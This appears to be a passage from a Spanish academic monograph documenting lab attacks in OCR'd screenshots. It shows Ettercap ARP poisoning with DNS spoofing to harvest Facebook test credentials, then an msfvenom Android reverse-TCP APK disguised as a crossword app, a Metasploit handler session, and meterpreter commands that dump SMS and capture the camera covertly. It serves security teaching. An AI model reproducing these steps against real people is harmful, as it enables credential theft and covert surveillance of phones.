Se vuelve a abrir la herramienta Ettercap de Kali Linux para escanear y enlistar los
puertos que se van a atacar, se observa que se detectaron la IP victima, la IP de la
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maquina fisica pero la primera IP es la del router de la red interna que permite la
conexion y salida a internet, por lo tanto se agregan como objetivo 1 o Target 1 el
router que da la salida a internet y el target 2, la victima para prueba de spoofing
cOmo se observa y se activa la opcion dns_spoof para que se ejecute solamente
este tipo de ataque en la victima:

Imagen No. 18. Activacién de la opcién dns_spoof.

ettercap 0.8.2
Start Targets Hosts View Mitm Filters Logging Plugins Info
Host List x | Plugins x Manage the plugins
Name Version Info Load a plugin
arp_cop 11 Report suspicious ARP activity
autoadd 12 Automatically add new victims in the target range

chk_poison 11 Check if the poisoning had success

* dns_spoof 12 Sends spoofed dns replies

dos _attack 1.0 Run a d.o.s. attack against an IP address
dummy 3.0 A plugin template (for developers)
find_conn 1.0 Search connectlons on a switched LAN
find.ettercap 2.0 Try to find ettercap activity

find_Ip 1.0 Search an unused IP address In the subnet
finger 1.6 Fingerprint a remote host

Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts
4 hosts added to the hosts list...

Host 192,168.0.1 added to TARGET1

Host 192.168.0.29 added to TARGET2
Activating dns_spoof plugin..

RO U0 e
Fuente: El autor.

Se le da el pardmetro para que realice un sniff a la maquina victima como se observa
en la figura:
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Imagen No. 19. Activacion de la opcion Sniff remote connections

MITM Attack: ARP Poisoning @

o Optional parameters
& Sniff remote connections |

[ Only poison one-way,

Encea ] [ AcepuT

Leafpad Iy
f

55 0@ 0G0 mnE

Fuente: El autor.

Y por altimo se activa el ataque por la opcion start sniffing como se observa en las
figuras:

Imagen No. 20. Activacién de la opcién Start Sniffing.

ettercap 0.8.2 e ® 0
Start Targets Hosts View Mitm Filters Logging Plugins Info

Start sniffing Mayus+Cerl+W |

Stop sniffing Mayls+Ctrl+E | N
Exit Ctrl+Q t suspicious ARP activity
12

‘autoadd Automatically add new victims in the target range

Echk-poison Check if the poisoning had success

- dos_attack Run a d.o.s. attack against an IP address

Edummy

A plugin template (for developers)

ffind_conn Search connections on a switched LAN

;find_ettercap Try to find ettercap activity

find_ip Search an unused IP address in the subnet

-finger 16 Fingerprint a remote host v

ARP poisoning victims:

GROUP 1:192.168.0.1 30:F7:72:91:4A:46

GROUP 2 : 192.168.0.29 08:00:27:FE:75:41 '
v

Fuente: El autor.
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Imagen No. 21. Activacion de la opcion Start Sniffing.
ettercap 0.8.2 (- O] °
Start Targets Hosts View Mitm Filters Logging Plugins Info
Host List = | Plugins »

Name Version Info -
arp_cop 11 Report suspicious ARP activity
autoadd 12 ;Automaticau.y add new victims in the target range

chk_poison él.l : Check if the poisoning had success

* dns_spoof Sends spoofed dns replies
dos_attack 10 ERun a d.o.s. attack against an IP address
dummy 30 A plugin template (for developers)
find_conn ‘1.0 Search connections on a switched LAN

find_ettercap 20 ?Try to find ettercap activity

find_ip 21.0 iSearch an unused IP address in the subnet
finger ;1.6 ;Finqerprint a remote host v
ARP poisoning victims: =

GROUP 1:192.168.0.1 30:F7:72:91:4A:46

GROUP 2:192.168.0.29 08:00:27:FE:75:41
Unified sniffing already started... I

Fuente: El autor.

Se abre la pagina www.facebook.com en la maquina Centos, que fue la pagina a
clonar observando que automaticamente es detectada por la herramienta Ettercap
tal y como se observa a la derecha de la siguiente figura:

Imagen No. 22. Inicio de pruebas desde la maquina victima.
& Finder Archivo Edicién lizacion Ir  Ventana Ayuda @ F 04 M Lun7Elpm Q @ =

@ Aplicsconcs »  Lugares + ([ lfvegador w... + esv Wn1951 O W B v

Facobook - Log In or Sign Up - Mozilla Firefox I
I3 Facebook Loginor. * |+
ettercap 0.8.2
Start Targets Hosts View Mtm Filters Logaing Plugins Info
HostList x  Plugin

€08 huy facebuok.com ¢ ||@su: » =

Name Version Into
ap-cop 11 Report suspicious ARP activity

. auloadd 12 Automatically add neve victims in the Larget range
Sign Up
nds and the It's free and always will be.
1on Facebook.

chk_poison L1 :Checkif the poisoning had success

dos _attack

Runad.0.5. attack against an IF adaress
dumimny 10 Aplugin lemplate {for developers)

find _conn 10 Search connections on a switched LAN
find-ettercap 20 Try tofind ettercap activity

find_p 10 ' Search an unused IP address In the subnet

fates from frionds in Nows Foed

finger 16 Fingerprint & remote host

 your fife on your Timedine.
wwiv.fatebook com] spoofed fo [192.168.0.28)

DHCP: [192.168.0.1] OFFER : 197.168.0,30 255.255.255.0 GW 192,168.0.1 DNS 190,157.8

[DHCP: [192.168.0.1) ACK : 192.168.0.30 255,255.255.0 GW 192.168.0.1 DNS 190.157.8.3:

oure looking for wilh Facebook Search _spoot: A | Dok com)] spooted to [192.168.0.28]

Creats a Page for a celabrity. band of business. ebook com] spoafed 1o [192.168.0.28]

W (jacosgiocathost:=]

Fuente: El autor.
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Se ingresa con un usuario y contrasefia de pruebas lo cual también es detectado en
la herramienta Ettercap tal y como se muestra en la figura:

Imagen No. 23. Inicio de pruebas desde la maquina victima con usuario y contrasefia de pruebas de Facebook.
| & Finder Archivo Edicién Visualizacidn Ir Ventans Ayuda @ F U ¢ kM Ln7slpm Q @ =

& Aplicaconos = Lugares = ([Bvegsdorw.. + e w195 Dl

Facebook - Mazilla Firefox

B Facebool LR J
€208 Facebook com ettercap 082
Start Targets Hosts View Mitm Filters Logging Plugins Info
I f[ & Host List x | Pluging »
Jose Macias Version Info

Report suspicious ARP actity

# Edrar pert

Automatically add new victims in the target range

Gué et 1 oning had success

Run 2 d 0. attack against an IP address

dumimy 30 Aplugi (for developers)

find_conn 10 Search s on a switched [AN
find_ettercap 20 Try to find ettercap activtty

find.ip 10 Search an unused IP address In the subnet

finger
28]
GW 192.168.0.1 DNS 190.157.8
W 192.168.0.1 DNS 190.157.8.3
28)
192.168.0.28)
{192168.0.28)

B (pracins@iocatton:=) | @ Feccbook - ot o F
2o Skidl 3OS USROG R

LPEERIEENT LG LR w§x§vﬁ°i$@§>§ E (3

Fuente: El autor.

Y en este momento ya son captados por la herramienta Ettercap los datos de
usuario y contrasefia los cuales se ubican en la ruta de Kali Linux,
Equipo/var/www/html/harvester.txt, este ultimo archivo puede cambiar de nhombre
dependiendo el equipo pero siempre sera esta la ubicacidn; la anterior ruta se
muestra en las siguientes tres figuras:
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Imagen No. 24. Ruta de acceso al archivo creado por Ettercap de captura de datos de usuario y contrasefia de Facebook en

& Finder Archivo Edicién

equipo victima.

@ F O «) w5 Lun764pm.

a @:=

o Aplisciones » Lugares v ([vegador ..

Ir Ventans Ayuda

Faabonu-MoxnhFl‘ < > @

3 Facebook x|+ | O Recentes E E
€208 + facebes.com  Capeta persona . o
[ ] T = oo 2 B

.
A
el 8 Folovideo | [ Album ok foloa s, @ Descargas Initrd.Img b
o dtorper old
™ Documentos
FAVORITOS B
5 Obimas rticis 4 nioines 7 i
B 7c camos a vieaw. ik
un
@ Marvajes 72 Masica
() Evenlon Bl videos i .
ARUCACIONTS _ =
(24 Video en dimcto o Papelera W
B lison
© Undiasome boy © VBOXADOIT.. &

£ Rurear amigos
- Fows

" Sugair cambios
© Toquss

o8 Ofrtas

+ Otras ubicaciones

B {jracisgiocathost =]

- o

dev

boot el home  inilrdimg
lo64 media mat opt proc
=R RN
sbin set.options sV sys tmp
* ~
<
* .
e a
vmlinuz vmlinuz.old

evara velaccianadn (contiene 13 elementos)

97U NBIRROOAM <

Fuente: El autor.

Imagen No. 25. Ruta de acceso al archivo creado por Ettercap de captura de datos de usuario y contrasefia de Facebook en

& Finder Archivo Edicién

equipo victima.

w§xgrdoas BY

@ F O «) w5 Lun764pm.

Q0=

o Aplisciones » Lugares v ([vegador ..

Ir Ventans Ayuda

Faabonu-MoxnhFl‘ <l @il

3 Facebook x|+ | O Recentes E
€208 / facebosk.com
@ Carpeta personal backups tache

[ ] T = oo "

el 8 Folovideo | [ Album ok foloa s, @ Descargas opt n
o dtorper X

Documentos

FAVORITOS
1 Uhimas roticias @ Indgenes
B 7c camos a vieaw. .
 Maneajee 52 Masica
[13) Evenlos H v
ARUCACIONES &
(54 Video en dimeto o
B lison
@ undiacemo hoy © VBOXADOITL. &

£ Rurear amigos
- Fows

" Sugair cambios
© Toquss

o8 Ofrtas

+ Otras ubicaciones

[imacies@locathost:=]

FEE T TG0

b local lock log
spook tmp  unkomscen

awwwis selsceinnado (contiene | elemento)

AT wdxgrJoa'S @

Fuente: El autor.
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Imagen No. 26. Ruta de acceso al archivo creado por Ettercap de captura de datos de usuario y contrasefia de Facebook en

equipo victima.
& Finder Archivo Edicién lizacién Ir Ventans Ayuda @ F T ) okm wn7E7pm Q O =

 Aplicaciones ¥  Lugares ¥ Ivcgadofw... -

Fa(onank-M{mluFl‘( > ¢ @ var www  html > Q| E] [-CN-]
B Facebook x|+ ’ b
O Redentes - ©
€208 h facebosk.com ¢ I
@ Carpeta persona harvester.  [PSSEE indexhiml  postphp
=R Q _ 201611
i Escritoro 14
16:10:50,
Jorm Miasime (8] Folovideo | [ Albumdk lotea 0. @ Descargas 965774 1xl
# dior partl
™ Documentos
FAVORITOS
1 Uhimas noticias - 'Q Imagenes
2 Masica l
H Videos
APLCACIONES o
(4 Video en dimen o PﬂpPh‘Hl
B lison
@ undiacomo hoy © VEOXADOIIL. &
5] Rumat amigor L) 4
+ Otras ubicaciones i
- Fol

" Sugarircambioe
© Toquss
o8 Chortas

BoWy  ERUY

9NN BERROOAD T v3xFrous @

Fuente: El autor.

Por ultimo, se obtienen los datos de usuario y contrasefia de pruebas extraidos del
equipo que puede ser cualquier terminal mévil tal y como se observa en la siguiente
figura:

Imagen No. 27. Datos de usuario y contrasefia de Facebook captados por la herramienta Ettercap.
& Finder Archivo Edicién i Ir Ventans Ayuda @ F I o) e%m Lund30pm O & =

P — S r
*harvester_2016-11-14 16:10:50.965374.txt

Aot v ‘n|

Facebook = Mozills Firefol AT ray
{

i Facebook LR ]

facebook.com/?st

{default_persistent} =» @
{login) => iniciar sesién

dora Macias
/Bt puril

[ Fotovio B Album de

rAvORIOS
= Utimas notiois
B To ez I b
& Mensojes
(%) Fvwrios
APLICACIONES 1
[N Video endirecks
B Jusgos
4D U dimcoms hey
Busoor amigos

Ml Fobx

Fuente: El autor.
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7.2. DESCRIPCION DE ATAQUES DENTRO DE RED LAN A DISPOSITIVO
ANDROID MEDIANTE INFORMATICA FORENSE

Dentro del presente estudio monogréfico se hace necesario realizar la simulacion
de un ataque a un dispositivo movil con S.O., Android; para ello se trabajara con
herramientas de virtualizacion que permitan demostrar sin inconvenientes reales,
de qué manera se realiza y se presenta un atague a una terminal con ese S.O.
Primero se trabajara con un software de virtualizacion llamado Virtualbox, el cual se
descarga de su pagina oficial??.

Imagen No. 28. Apariencia grafica de Virtualbox instalado y configurado para simular sistemas operativos.
¥ Oracle VM VirtualBox Administrador = 8

M P
Lo e ':<<> {7} Detalles | (ED Instantineas

MNueva Configuracidn Descartar  Mostrar

i Centos 7 Jose Mac... {..) /= General =] previsualizacién -

I (@) Apagada

Mombre: Kali Linux

W] Ubuntu 15 Jose Macias Sistema operative: IE?;—Eirsz /3. 4x

— Apagada -

|x] sistema
— <z

{ k]| @ Apagada Memoria base: 908 MB

Orden de arranque:  Red, Optica, Disco
. duro, Disquete
(‘23“'::“':’;: Aceleracién: VT-3/AMD-Y,
1] Pag: Paginacién anidada,

] PAE/MNX,

I windowsXp 2 Paravirtuslizacién

i:ﬂ @ Apagada KvM

6] Win 7 Utlimate =] pantalla

/7. Apagada
Memaria de video: 12 MB
— Aceleracidn: 30
- Servidor de escritorio remoto:  Inhabilitade
- Captura de video: Inhabilitado
[ Almacenamiento
Controlador: IDE
IDE secundario maestro:  [Unidad dptica] Yacio
Controlador: SATA
Puerto SATA Ou Kali Linuxx. vdi (Normal, 20,86 GB}

{7 Audio
Controlador de anfitrién:  windows DirectSound
Controlador: ICH ACaT

Fuente: El autor.

Virtualbox permite simular un sistema operativo S.O., de cualquier fabricante y de
cualquier tecnologia, ya sea Linux, Unix o Windows con el fin de hacer pruebas de
comportamiento o para poder optimizar los recursos de este S.O., sin que la
maquina fisica se vea afectada, salvo que los recursos de la maquina fisica cémo
la memoria RAM o0 el disco duro se disminuyen mientras se ejecuta una
virtualizacién ya que es otro proceso ejecutado?®. Una de las grandes ventajas de
Virtualbox es que es un software de acceso libre es decir no hay que pagar por su
utilizacién y en cualquier momento que se realice un proceso de virtualizacién el
usuario que instale un S.0., puede eliminarlo o desinstalarlo sin tener que hacer otra
tarea mas que un clic para desinstalar.

22 Descarga de Virtualbox, pagina oficial https://www.virtualbox.org/
2 Como instalar y utilizar Virtualbox https://www.youtube.com/watch?v=nQiR5_iGVJI
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Para realizar las pruebas de simulacion, se utilizara el S.O. Kali Linux?4, un sistema
operativo muy completo y dedicado especificamente para realizar Pentest o
Hacking Etico, esto por medio de herramientas y técnicas que también utilizan los
cibercriminales pero para poder, analizar, aprender y deducir como contrarrestar
cualquier ataque malicioso que un Ciberdelincuente realice. Kali Linux esta basado
en tecnologia Linux-Debian y tiene mas de 300 herramientas de simulacion de
ataques reales, razén por la cual es importante manejar este sistema operativo con
mucho cuidado.

Kali Linux es un S.O., gratuito y su descarga puede realizarse mediante imagen ISO
para Virtualizar o por medio de una USB para hacer particionado en una maquina
fisica?.

Imagen No. 29. Apariencia gréfica de Kali Linux instalado y configurado para simular pruebas.
LA Kali Linux [Corriondo) - Oraclo VM VirtualBox - =N

Archwo  Méquina  Ver Entrsda  Dispositivos  Ayuds

G ) P (5 (8] cre CeRECHA

Fuente: El autor.

Como ya se menciond, Kali Linux tiene mas de 300 herramientas para hacer
pruebas de Penetracién, con las cuales desarrollar simulaciones exitosas de
ataques en diferentes aspectos, de red, WiFi, a dispositivos moviles entre muchos
otros mas. Como el objeto del presente estudio es hacer una simulacion de un
ataque a un dispositivo movil Android, se ha escogido una herramienta denominada
Metasploit con la cual se desarrollara un ataque de ingenieria inversa dentro de una
red LAN a un celular Samsung Galaxy S4. Metasploit permite lanzar con una de sus
herramientas un ataque a cualquier dispositivo de forma inofensiva e invisible, por

24 pagina oficial para descarga de Kali Linux https://www.kali.org/
25 Coémo instalar Kali Linux en Virtualbox https://www.youtube.com/watch?v=voYhIWOeHqc
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medio de un archivo infectado que al ser recibido por una victima la herramienta
hace explotar el archivo con cdédigo malicioso y remotamente se logra tener un
acceso de manera casi total del dispositivo infectado, esto se muestra a
continuacion.

Para poder simular un ataque a dispositivo Android, es importante primero que todo
configurar el tipo de red que va a utilizar Kali Linux ya que este atague se hace
dentro de una misma red LAN, por lo tanto la Ip que va a utilizar Kali debe estar
dentro del rango de la maquina fisica donde esta virtualizado, entonces se conecta
en Adaptador Puente tal y como se muestra en la siguiente imagen:

Imagen No. 30. Configuracion de red para Kali Linux.

¥ Oracle VM VirtualBox Administrador = =
P aTe,
2] Kali Linwx - Configuracion ?
L-JI General Red
My Sistema Adaptador 1 Adaptador 2 Adaptaclor 3 Adaptador 4
[l pantalia ¥] Habllitar adaptador de re
m Almacenamiento Conectado a: | Adaptador puente -
N Mombre: | Controladora de red NVIDLA nForce -
B Audio
[ Avanzadas
EY Red
@ Puertos serie
L use
Carpetas compartidas
El Interfaz de usuario
Aceptar Cancelar Ayuda
Puerto SATA O: Kali Linuxx. vdi (Mormal, 20,86 GB)
G-l Audio

Controlador de anfitrién:  Windows DirectSound
Controladar: ICH ACS7

~ Fuente:Elautor.
A continuacién, se procede con la ejecucion de la linea de comando mostrada en la
imagen No. 4, con la funcién Meterpreter, para un atague de ingenieria inversa que

permite crear un archivo infectado de tipo APK, lo anterior desde la IP 192.168.0.22
gue corresponde a la maquina Kali Linux:
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La ejecucion del comando anterior crea un archivo malicioso, el cual se nhombro
crucigrama.apk para que sea llamativo e inofensivo para cualquier usuario que lo
intente instalar, con un tamafo de 9,4 KB. Lo siguiente es conectar el dispositivo
movil a la consola de Kali Linux para colocar este archivo en la memoria interna del

Imagen No. 31. Ip de la maquina atacante.

Kali Linuxx {Corriendo] - Oracle VM VirtualBox =

& Terminal ~

root@JMaclas: ~

Archivo  Editar Ver Buscar Terminal Ayuda
sfvenom -p android/meterpreter/reverse tcp lhost=192.168.0.22 |
k]

ch: dal
fied, outpu

>
BOF e =W 0@ 6 oroxeon
Fuente: El autor.

dispositivo Android de pruebas:

| Archiy

m
M
"
Iz
E

.n‘u

Imagen No. 32. Conexion del dispositivo a la consola de Kali Linux.
Kali Linux [Corriendo] - Oracle VM VirtualBox - 0N

Miquina Ver Entrada | Dispostivos = Ayuda

Unidades bpticas

Preferencias USE

Carpetas compartidas ——
NOVATEK US8 Keybosrd 0104

Portapapeles compartico Primax Electronics, Ltd USB Optical Mouse (02001
Arrastrar y saltar | SAMSUNG_Android [0400]

& Insertarimagen de CD de lss <Guest Addtionse Vimicro Corp. PC Camera [0100]

ing Arch: dalvik from the pa
., outputting raw

>

@od s OE s cromeain

Fuente: El autor.

58



A continuacion, se localiza el archivo crucigrama.apk, en la carpeta de documentos
de Kali Linux donde quedd guardado una vez se crea, se copia y se pega en la
memoria interna del dispositivo Android que para este caso es un celular Samsung
Galaxy S4, tal y como se observa en las siguientes dos imagenes:

Imagen No. 33. Archivo infectado de nombre crucigrama.apk creado en la carpeta de archivos de Kali Linux.
@& Kali Linuxx [Corriendo] - Oracle VM VirtualBox = &

sdb 16:07

&= ™" M g

1 Carpeta personal crucig i Abrir con Gestor de archivadores  Cirl+0

Imagenes Musica Plantillas

— o I Abrir con otra aplicacion
i Escritorio

Cortar

@® Descargas Copiar

[ Documentos Mover a...
o Copiar a...
0 Imagenes

Mover a la papelera
) bt Renombrar
H Videos Extraer aqul
C imir...
i Papelera omprimir

Propiedades

0 SAMSUNG An...

+ Otras ubicaciones

wcruigrama.aps seleccionado (9,5 kB)

PO E GG ® DERECH:
Fuente: El autor.

Imagen No. 34. Archivo infectado de nombre crucigrama.apk pegado en la memoria interna del dispositivo Android.
= Kali Linuxx [Corrienda] - Oracle VM VirtualBox = g

Lugares = Archivos = sab 16:09
\ ¢ > | ¢ O SAMSUNGAndroid | Phone » allz|[=| @e@ 0
IWSIN (D) Recientes = = = = A =
Android | ] e e m [
7 @ Carpeta personal airdroid Alarms Android com. cred.conf  JEIEGIETIER DCIM
q) _ . facebook. apk
i Escritorio )
- @ Descargas m— [, — W — m— m— m—
| | — — | | |
[ Documentos Documents  Download media Movies Music Nearby Natification
‘1 Iméagenes s
-— -— -— -— -— -— -—
S Mosica
| | _— _— L L |
ictures aylists 'odcasts ingtones amsun emo  wdh_update
H Videos Pi Playli Pod Ring s g SM dh_upd
-—
i Papelera
|
WhatsApp

0 SAMSUNG An.. =

+ Otras ubicaciones

ecrucigrama.apks seleccionado (9.5 kB)

e & & & {0 @ (3 comoomeca
Fuente: El autor.
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Una vez el archivo de nombre crucigrama.apk esta en la memoria interna del
dispositivo Android, se procede a instalarlo y ejecutarlo dentro del dispositivo tal y

como se observa en las siguientes dos imagenes:

4 . Mis Archivos

/storage/emulated/Q

. crucigrama.apk
. Pictures

B oom

. com.facebook.orca
. Notifications

. airdroid

. Playlists

. WhatsApp

. media

[ -

8 MainActivity

¢Desea instalar esta aplicacion?

Privacidad

Localizacion GPS

Cancelar

Imagen No. 35. Instalacién paso a paso del archivo cr
Yo

#t B

Siguiente

Hacer visible las contrasefias V]

Administracién del dispositivo

Instalacién bloqueada

Por seguridad, el dispositivo
esta configurado para bloquear
la instalacion de aplicaciones
que no provengan de Play Store

Cancelar | Configuracién

Cambiar nivel seguridad

Notification access
1app ad notifications

Servicio act. sequridad

Actual. auto. de segurid

Fuente: El autor.

Imagen No. 36. Instalacién paso a paso del archivo crucigrama.apk desde el dispositivo Android.

18 MainAciivity ® MainActivity

;Desea instalar esta aplicacion? o
¢ p v Aplicacion instalada

tenido del

Acceso del dispositivo
a Internet sin limites
Cambiar estado de Wi-Fi
do de lared

do de Wi-Fi

automaticamente al encender el

Definir fonde de pantalla

omprobar el almacenamiento
protegido

modificar la configuracion del sistema
global

Cancelar Instalar Realizado

Fuente: El autor.

ucigrama.apk desde el dispositivo Android.

Origenes desconocidos

Su dispositivo y sus datos
personales son mas vulnerables a
los ataques de aplicaciones de
origenes desconocidos. Usted
acepta que es el Ginico
responsable de los dafios a su
dispositivo o de la pérdida de
datos que puedan producirse a
partir del uso de estas
aplicaciones

/| Permitir s6lo la instalacién inicial

‘ Cancelar ‘ Aceptar ‘

< @ Administrador de aplicacicnes

DESCARGADO

E Group Play

’ﬁl MainActivity

TalkBack

D 9.11 M8

AR ot

Memoria del dispositivo

Posterior a lo anterior y teniendo en cuenta que ya se habia iniciado una sesion de
consola de Metasploit previamente configurada para dejarla en modo de escucha
para que una vez se abra la aplicacion en el dispositivo se inicie el control remoto al
mismo asi:

60



Imagen No. 37. Control del dispositivo Android desde la consola de Metaspolit.

Kali Linuxx [Corriendo] - Oracle VM VirtualBox = =

PAYLOAD

Taking notes in notepad? Have Metasploit Pro track & report
your progress and findings -- learn more on http://rapid7.com/metasploit

=[ metasploit v4.12.22-dev 1
+ -- 1577 exploits - 906 auxiliary - 272 post ]
+ -- --=[ 455 payloads - 39 encoders - 8 nops

]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use multi/handler
~[[Amsf exploit( set payload android/meterpreter/reverse_tcp
payload => android/meterpreter/reverse tcp

i ) > set lhost 192.168.0.22

) > set lport 4444
msf exploit( ) > exploit
[*] Started reverse TCP handler on 192.168.0.22:4444
[*] Starting the payload handler...

*] Sending stage (63194 bytes) to 192.168.0.10
[*] Meterpreter session 1 opened (192.168.0.22:4444 -> 192.168.0.10:42120) at 2017-04-29 16:00:02 -0500

meterpreter > |

BO& @@ @@ @ cromeca

Fuente: El autor.

Es importante mencionar que, para que el ataque pueda tener resultado primero se
debe abrir una consola de Metasploit con el comando msfconsole, configurar el tipo
de ataque, la direccion Ip, el puerto por donde saldra y ejecutar el exploit que
equivale a dejar en modo de escucha la herramienta; luego, desde el dispositivo se
debe instalar la aplicacion y ejecutarla.

Una vez se inicia la comunicacion entre la consola y el dispositivo se procede a
hacer uso de las herramientas de Metasploit, para poderlo controlar; para ello se
ejecutan una serie de comandos y se despliega el menu de opciones que permitiran
entre otras cosas, poder acceder a las camaras del dispositivo en tiempo real,
conocer los mensajes de texto que le han llegado al usuario del mévil, realizar
capturas de pantalla en tiempo real y guardar toda esta informacién en la carpeta
de documentos de Kali Linux. Lo interesante de todo esto es que el usuario no se
da por enterado que esta informacion se le esta sustrayendo de manera ilegal desde
su dispositivo ya que son acciones que ocurren en segundo plano.

Se hace la aclaracién gue las pruebas realizadas se utilizé un celular de pruebas de
propiedad de quien suscribe el presente documento.

El resultado de la explotacion exitosa del archivo crucigrama.apk en el movil, que

permitieron el control remoto en segundo plano del mismo, se muestran en las
siguientes imagenes:
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Imagen No. 38. Obtencién de informacién de fabrica del dispositivo Android con el comando sysinfo.

G Kali Linuxx [Corriendo] - Oracle VM VirtualBox = &

Aplicaciones v Lugares v [ Terminal v sab 16:15

root@JMacias: ~
AM
2 ﬂSUNG— Archivo  Editar

Android ) Terminal
msf exploit(

Buscar
) > exploit

Ver Ayuda

[*] Started reverse TCP handler on 192.168.0.22:4444
*] Starting the payload handler...
AR Sending stage (63194 bytes) to 192.168.0.10
[*] Meterpreter session 1 opened (192.168.0.22:4444 -> 192.168.0.10:42120) at 20
17-04-29 16:00:02 -0500
meterpreter >

Meterpreter session 1 closed. Reason: Died

/I‘J 192.168.6.10 -

msf exploit( ) > exploit

[*] Started reverse TCP handler on 192.168.0.22:4444

[*] Starting the payload handler...

[*] Sending stage (63194 bytes) to 192.168.60.10

[*] Meterpreter session 2 opened (192.168.0.22:4444 -> 192.168.0.10:37834) at 20
17-04-29 16:14:16 -0500

meterpreter > SYGTI)

Computer : localhost

0S : Android 4.3 - Linux 3.4.5-2057364 (armv71)
leterpreter : java/android

meterpreter >

BO& @ @ @ [ crorRecs
Fuente: El autor.

Imagen No. 39. Listado de ayuda de comandos que se pueden utilizar en el ataque.

e Kali Linuxx [Corriendo] - Oracle VM VirtualBox -

Aplicaciones v Lu (] Terminal v

root@JMacias: ~
Archivo Editar Ver Buscar Terminal Ayuda
Meterpreter : java/android
meterpreter > help
Core Commands

Command

background
bgkill
bglist

bgrun
channel
close
disable_unicode_encoding
enable unicode encoding
exit
get_timeouts
help

info

irb

load
machine_id
quit

read
resource

run
set_timeouts
sleep

Description

Help menu

Backgrounds the current session

Kills a background meterpreter script

Lists running background scripts

Executes a meterpreter script as a background thread
Displays information or control active channels
Closes a channel

Disables encoding of unicode strings

Enables encoding of unicode strings

Terminate the meterpreter session

Get the current session timeout values

Help menu

Displays information about a Post module

Drop into irb scripting mode

Load one or more meterpreter extensions

Get the MSF ID of the machine attached to the session
Terminate the meterpreter session

Reads data from a channel

Run the commands stored in a file

Executes a meterpreter script or Post module

Set the current session timeout values

Force Meterpreter to go quiet, then re-establish session

>

& & L& E O S @ creperecHA
Fuente: El autor.
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Imagen No. 40. Control de la cAmara trasera del dispositivo por medio del comando webcam_stream.

2| Kali Linuxx [Corriendo] - Oracle VM VirtualBox =

shell Drop into a system command shell
sysinfo Gets information about the remote system, such as 0S

Stdapi: Webcam Commands

Command Description

record_mic Record audio from the default microphone for X seconds
webcam_chat Start a video chat

webcam list List webcams

webcam snap Take a snapshot from the specified webcam

ebcam stream Play a video stream from the specified webcam

Android Commands

Command Description

activity start Start an Android activity from a Uri string
check_root Check if device is rooted

dump_calllog Get call log

dump_contacts Get contacts list

dump_sms Get sms messages

geolocate Get current lat-long using geolocation
interval collect Manage interval collection capabilities
send_sms Sends SMS from target session
set_audio_mode Set Ringer Mode

sqlite_query Query a SQLite database from storage
wlan_geolocate Get current lat-long using WLAN information

meterpreter > webcam stream

BO& @0l 0@ [ cm e
Fuente: El autor.

Imagen No. 41. Control de la cAmara trasera del dispositivo por medio del comando webcam_stream.

A Kali Linuxx [Corriendo] - Oracle VM VirtualBox 2

Aplicaci
Metasploit webcam_stream - 192.168.0.10 - Mozilla Firefox 0 ¢

+J Metasploit webcam_s.. X | #

file:///root/MgzKywDS.html ) arc "B 9 3 4@
[ Most Visited v [l Offensive Security "\ Kali Linux \ Kali Docs “ Kali Tools {BExploit-DB Wy Aircrack-ng

Target IP : 192.168.0.10
Start time : 2017-04-29 16:39:51 -0500
Status : Playing

BOP oL@ Q@ R cromeca

Fuente: El autor.
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) Kali Linuxx [Corriendo] - Oracle VM VirtualBox

webcam_snap

Take a snapshot from the specified webcam

webcam_stream Play a video stream from the specified webcam

Android Commands

Command Description

act1v1ty start
check_root Check if device is rooted
dump_calllog Get call log
dump_contacts Get contacts list
dump_sms Get sms messages
geolocate

Start an Android activity from a Uri string

Get current lat-long using geolocation

interval collect Manage interval collection capabilities

send_sms Sends SMS from target session
set_audio_mode Set Ringer Mode

sqlite _query
wlan_geolocate

meterpreter > webcam stream

[*] Starting...

[*] Preparing player...

[*] Opening player at: wGVqPPjs.html
[*] Streaming...

1493500739878  addons.productaddons ERROR  Request failed certificate checks
d and URI scheme is not https." nsresult: "0x8000ffff (NS_ERROR_UNEXPECTED)"

/gre/modules/CertUtils.jsm :: checkCert line 145"

Error running command webcam stream: Rex::TimeoutError Operation timed out.

meterpreter > dVINEIH
[*] Fetching 27 sms messages

Query a SQLite database from storage
Get current lat-long using WLAN information

data: no]

[*] SMS messages saved to: sms dump 20170429162229.txt

meterpreter >

Fuente: El autor.

| Kali Linuxx [Corriendo] - Qracle VM VirtualBox

[Exception..
location: "JS frame resource

Imagen No. 42. Obtencién de los mensajes de texto por medio de la ejecucién del comando dump sms.

SSL is requirg

BO& @ =@ QR crDRecHA

Imagen No. 43. Obtencién de los mensajes de texto por medio de la ejecucién del comando dump sms.

Date: 2017-04-29 16:22:30 -0500

0S: Android 4.3 - Linux 3.4.5-2057364 (armv7l)
Remote IP: 192.168.0.10

Remote Port: 37834

#1
Type : Incoming
Date 1 2017-04-28 10:42:48

Address : DESCUBRE
Status : NOT_RECEIVED

sms-dump-20170429162229.txt

Message : ULTIMOS DIAS para recibir GRATIS 30 minutos a Todo Operador por TODAS tus recargas desde $1.000. Que

esperas? Tienes hasta Abr30/17. Vig Obsequio 7 dias

#2
Type : Incoming
Date : 2017-04-26 19:50:41

Address : 3163301084
Status NOT_RECEIVED

Message : Te llame te informa que el 26/04 el 3163301084 te llamo a las 19:52

#3
Type : Incoming
Date 2017-04-26 15:20:12

Address : 85170
Status : NOT_RECEIVED

Message : En CLARO HOGAR sabemos de su buen habito de pago, cancele HOY en los puntos Red Servi, Giros y

<

Fuente: El autor.

v

>
B &g & il (3 S [ crpereca

La ultima prueba realizada fue una captura de pantalla instantanea con la camara

trasera del dispositivo con el comando webcam_snap,

siguientes dos imagenes:

64

esto se evidencia en las



Imagen No 44. Captura instantanea con la cdmara trasera del dispositivo con el comando webcam_snap.

2] Kali Linuxx [Corriendo] - Oracle VM VirtualBox Els

Aplicaciones v Lugares v [ Terminal ~ séb 16:28

root@JMacias: ~

SAT;LOJEG— Archivo Editar Ver Buscar Terminal Ayuda
Error running command webcam stream: Rex::TimeoutError Operation timed out.
meterpreter > dump_sms
[*] Fetching 27 sms messages
[*] SMS messages saved to: sms_dump_20170429162229.txt
__——==neterpreter > webcam_snap
[*] Starting..
[+] Got frame
[*] Stopped
Webcam shot saved to: /root/nQwlHAFP.jpeg
/ eterreter >
(e0g:1744): EOG-WARNING **: Failed to open file '/root/.cache/thumbnails/normal/
beo3673o71b59598805e09df1994f7d1.png': No existe el fichero o el directorio

meterpreter > webcam_snap

[*] Starting...

[+] Got frame

[*] Stopped

Webcam shot saved to: /root/idfFaktU.jpeg
meterpreter

@hizl

(94

meterpreter

RE O«

& & L& & O @ @ cruoReca
Fuente: El autor.

